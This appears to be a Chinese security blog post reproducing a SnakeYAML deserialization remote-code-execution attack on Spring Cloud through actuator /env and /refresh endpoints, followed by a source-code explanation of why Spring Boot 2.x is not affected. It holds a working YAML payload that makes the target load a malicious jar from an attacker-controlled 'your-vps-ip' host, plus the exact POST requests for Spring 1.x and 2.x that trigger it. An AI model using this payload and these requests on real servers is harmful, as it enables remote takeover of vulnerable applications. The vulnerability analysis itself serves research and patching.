51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

SpringCloud-SnakeYAML-RCE

SpringCloud-SnakeYAML-RCE {#SpringCloud-SnakeYAML-RCE}

利用条件 {#利用条件}

Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

漏洞复现 {#漏洞复现}

1.在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下

|-------------------|----------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 | !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ] |

2.准备一个恶意jar,实现SPI,很简单如下

3.设置 spring.cloud.bootstrap.location 属性

spring1.x

|-----------------|----------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 | POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/example.yml |

spring2.x

|-----------------|-----------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 | POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"} |

4.刷新配置

spring 1.x

|-------------|-----------------------------------------------------------------------| | 1 2 | POST /refresh Content-Type: application/x-www-form-urlencoded |

spring 2.x

|-------------|---------------------------------------------------------------| | 1 2 | POST /actuator/refresh Content-Type: application/json |

漏洞原理 {#漏洞原理}

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说

看几个关键的地方,处理 /refresh 接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值

最后在 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

高版本无效 {#高版本无效}

在Spring1.x版本当中

|------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); Iterator var4 = capturedPropertySources.iterator(); PropertySource source; while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.remove(source.getName()); } var4 = input.getPropertySources().iterator(); while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.addLast(source); } environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; } |

在Spring2.x版本当中,却有限制

|------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); String[] var4 = DEFAULT_PROPERTY_SOURCES; int var5 = var4.length; for(int var6 = 0; var6 < var5; ++var6) { String name = var4[var6]; if (input.getPropertySources().contains(name)) { if (capturedPropertySources.contains(name)) { capturedPropertySources.replace(name, input.getPropertySources().get(name)); } else { capturedPropertySources.addLast(input.getPropertySources().get(name)); } } } environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); map.put("spring.main.web-application-type", "NONE"); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; } |

必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好

|-----------|------------------------------------------------------------------------------------------------------------------------| | 1 | private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"}; |

结论 {#结论}

  • Spring Boot 2.x 无法利用成功
  • Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
  • Spring Boot <= 1.4 可利用成功
赞(1)
未经允许不得转载:工具盒子 » SpringCloud-SnakeYAML-RCE